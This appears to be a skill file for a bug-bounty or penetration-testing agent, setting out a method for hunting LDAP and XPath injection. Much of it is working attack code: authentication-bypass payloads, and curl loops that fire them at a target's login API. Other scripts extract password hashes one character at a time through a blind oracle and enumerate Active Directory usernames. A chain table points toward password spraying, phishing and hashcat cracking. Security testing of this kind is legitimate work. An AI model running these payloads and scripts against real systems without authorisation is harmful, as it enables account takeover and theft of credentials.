| name | hunt-ldap |
| description | Hunt LDAP Injection and XPath Injection — authentication bypass, blind char-by-char attribute exfiltration, AD user/group enumeration, XML-store XPath bypass. Covers the LDAP special-character set (* ( ) \ NUL /), search-filter-context vs DN-injection, parenthesis-balancing, AND/OR filter logic, and {SSHA}/{CRYPT} userPassword exfil on non-AD directories. Use when target uses LDAP/AD authentication, corporate SSO with a directory backend, an address-book/people-search API, or XML-based data stores queried with XPath. |
| sources | hackerone_public, owasp, portswigger |
| report_count | 0 |
HUNT-LDAP — LDAP Injection & XPath Injection
Grounding note: LDAP injection is rarely disclosed with verbatim payloads on
public platforms (most live on internal-pentest reports). This skill is
grounded in the OWASP LDAP Injection Prevention / Testing Guide
(WSTG-INPV-06), PortSwigger Web Security Academy (LDAP injection), and
the RFC 4515 filter grammar — all publicly verifiable references rather
than invented HackerOne IDs. Do not cite a report you cannot link.
Crown Jewel Targets
LDAP injection that bypasses authentication = Critical. Blind attribute
exfiltration of credentials/secrets = High. AD enumeration alone = Medium-High.
Highest-value chains:
- LDAP auth bypass — close the
uid filter and append an always-true OR so the
bind/search returns the admin entry without a valid password.
- Blind attribute exfil — char-by-char extraction of an attribute value via a
boolean oracle (login success/failure, result count, or response length).
- userPassword hash exfil (non-AD only) — on OpenLDAP/389-DS the
userPassword attribute can hold {SSHA}/{CRYPT} hashes that ARE readable
by query. See the AD-vs-generic warning below.
- XPath injection auth bypass —
' or '1'='1 against XML-backed auth.
CRITICAL — Active Directory vs generic LDAP
Do not conflate the two. They behave very differently:
| Generic LDAP (OpenLDAP, 389-DS, ApacheDS) | Active Directory |
|---|
| Password attribute | userPassword — may hold {SSHA}/{MD5}/{CRYPT} and is readable if ACL allows | unicodePwd — write-only, never returned by any search |
| Hash exfil via injection | Possible where ACLs leak userPassword | Not possible — there is no readable hash attribute over LDAP |
| Useful enum attrs | uid, cn, mail, userPassword | sAMAccountName, userPrincipalName, mail, memberOf, description (often holds plaintext secrets!) |
Do not tell a reader that blind LDAP injection yields AD password hashes — it
does not. unicodePwd is write-only. Against AD, the win is enumeration
(sAMAccountName, memberOf, description/info fields that admins misuse to
store passwords) and auth bypass — not hash dumping. The hash-exfil technique
applies only to non-AD directories exposing userPassword.
Attack Surface Signals
Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/* /api/directory/* /people /address-book /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
javax.naming.NameNotFoundException
javax.naming.directory.InvalidSearchFilterException
LDAP: error code 49 - 80090308 (AD invalid creds / bind failure)
com.sun.jndi.ldap.* / System.DirectoryServices / ldap_search():
"Bad search filter" / net.ldap (Go) / python-ldap SERVER_DOWN
LDAP filter grammar (RFC 4515) — why injection works
A login filter is typically built by string-concat:
(&(uid=<USERNAME>)(userPassword=<PASSWORD>))
& = AND, | = OR, ! = NOT. Filters are prefix/Polish notation — the
operator comes first and every sub-filter is parenthesised. To inject you must
(a) escape the current (uid=...) group, (b) inject your own logic, and
(c) leave the overall parenthesis count balanced or the server throws a
filter-syntax error instead of executing.
The special-character set — TEST EACH ONE
These characters are syntactically meaningful and MUST be escaped by a safe app
(RFC 4515 §3). If the app reflects an error or behaves differently when you send
them raw, the input is unescaped → injectable:
| Char | Filter escape | Why it matters |
|---|
* | \2a | wildcard — matches any value |
( | \28 | opens a filter group |
) | \29 | closes a filter group |
\ | \5c | escape char itself |
| NUL | \00 | string terminator — truncates filter in C-backed servers |
/ | (DN context) | RDN separator — relevant for DN injection |
Search-filter context vs DN injection are different bugs:
- Search-filter injection (most common): your input lands inside a
(attr=VALUE) filter. Payloads use * ( ) & | !.
- DN injection: your input is concatenated into a Distinguished Name
(
uid=VALUE,ou=people,dc=corp). Here , = + " \ < > ; and /
matter, and a * is NOT a wildcard. Test both — the payloads do not transfer.
Step-by-Step Hunting Methodology
Phase 1 — Confirm an LDAP backend (baseline first)
BASE=$(curl -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
-X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username":"validlookinguser","password":"wrongpass"}')
echo "BASELINE (valid-format, wrong pw): $BASE"
curl -s -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d '{"username":"test)","password":"x"}' | grep -iE \
"naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"
A lone ) that produces a syntax error/500 while a balanced payload does not is
the cleanest LDAP-injection tell — note it, you will need it as proof.
Phase 2 — Auth-bypass payloads (balance your parentheses)
USERNAME_PAYLOADS=(
'admin))(|(uid=*'
'*)(uid=*))(|(uid=*'
'admin)(!(userPassword=ZZZ))'
'admin*'
)
for P in "${USERNAME_PAYLOADS[@]}"; do
R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
echo "PAYLOAD: $P"
echo "RESP: ${R: -40}"
echo "BASE: $BASE <-- compare http_code+size to rule out false positive"
echo "---"
done
Parenthesis-balancing rule of thumb: count ( minus ) in the resulting
full filter, not just your payload. If the app appends )(userPassword=...))
after your input, leave the right number of trailing ) so the final string is
balanced. An unbalanced filter = syntax error = NOT a bypass (false positive).
Phase 3 — Blind exfil with a CONTROLLED oracle (not raw byte-count)
Raw size_download diffing is noise-prone (WAF banners, CSRF tokens, timestamps,
length-jitter on the injected char itself). Use a paired true/false control
so the oracle is the response, not the absolute size.
probe () {
curl -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
-H "Content-Type: application/json" \
-d "{\"username\":\"$1\",\"password\":\"x\"}"
}
T=$(probe 'admin)(uid=*))(|(uid=*')
F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
echo "TRUE-class size=$T FALSE-class size=$F"
[ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }
PREFIX=""
for pos in $(seq 1 32); do
for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
done
done
echo "RECOVERED: $PREFIX"
False-positive guards for blind exfil:
- Repeat each positive char 3x and confirm the size is stable — length-jitter
from the attacker-controlled char itself is the #1 false positive.
- Confirm the FALSE control still returns the FALSE size after each round (the
app didn't just start erroring on every request — WAF block looks like a match).
- If body length is unreliable, switch the oracle to HTTP status, a body
marker string (
"Invalid credentials" present/absent), or timing with a
heavy filter — but only after establishing a stable baseline delta.
Phase 4 — XPath injection (XML-backed auth)
XPATH_PAYLOADS=(
"' or '1'='1"
"' or ''='"
"admin' or '1'='1' or 'a'='b"
"x'] | //user/* | //user[name()='x"
"*[contains(name(),'pass')]"
)
for P in "${XPATH_PAYLOADS[@]}"; do
E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P")
R=$(curl -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
--data-urlencode "username=$P" --data-urlencode "password=x")
echo "$P -> ${R: -24}"
done
Phase 5 — AD enumeration via wildcard (count oracle, with control)
count () { curl -s -X POST https://$TARGET/api/directory/search \
-H "Content-Type: application/json" -d "{\"filter\":\"(sAMAccountName=$1*)\"}" \
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; }
CTRL=$(count "zzqx_unlikely")
echo "control count (should be ~0): $CTRL"
for L in {a..z}; do echo "$L* -> $(count $L) (vs control $CTRL)"; done
Phase 6 — Tooling & OOB confirmation
ldapsearch -x -H ldap://$AD_HOST -D "CORP\\user" -w "$PW" \
-b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf
Chain Table
| LDAP finding | Chain to | Impact |
|---|
| Auth-bypass (always-true filter) | Admin/SSO panel as first directory entry | Critical |
AD enumeration (sAMAccountName) | Username list → password spray / credential stuffing | Mass-ATO risk |
memberOf enumeration | Identify Domain Admins → targeted phishing/spray | Targeted compromise |
description/info field read | Plaintext creds admins stashed there | Direct credential leak |
Blind exfil of userPassword (non-AD only) | {SSHA} (salted SHA-1) → hashcat -m 111 ({SSHA256}=1411, {SSHA512}=1711); {CRYPT} → mode depends on the $id$ prefix ($1$=500, $6$=1800) → offline crack | High |
| LDAP referral → Collaborator | Server-side request / internal directory reach | SSRF-class, confirms blind |
AD has no readable password attribute — do not list "extract AD hashes" as a
chain. Against AD, the credential win comes from description/info misuse or
from enumerated usernames feeding a spray, never from unicodePwd.
Validation — rule out the false positive BEFORE you report
A "bypass" or "match" is only real once you have eliminated syntax-error,
WAF-block, and length-jitter explanations.
Severity:
- Auth bypass landing as admin/privileged directory entry: Critical
userPassword hash exfil (non-AD) or description-field credential read: High
- AD user/group enumeration only: Medium-High
- Blind boolean oracle confirmed but no useful attribute reachable: Medium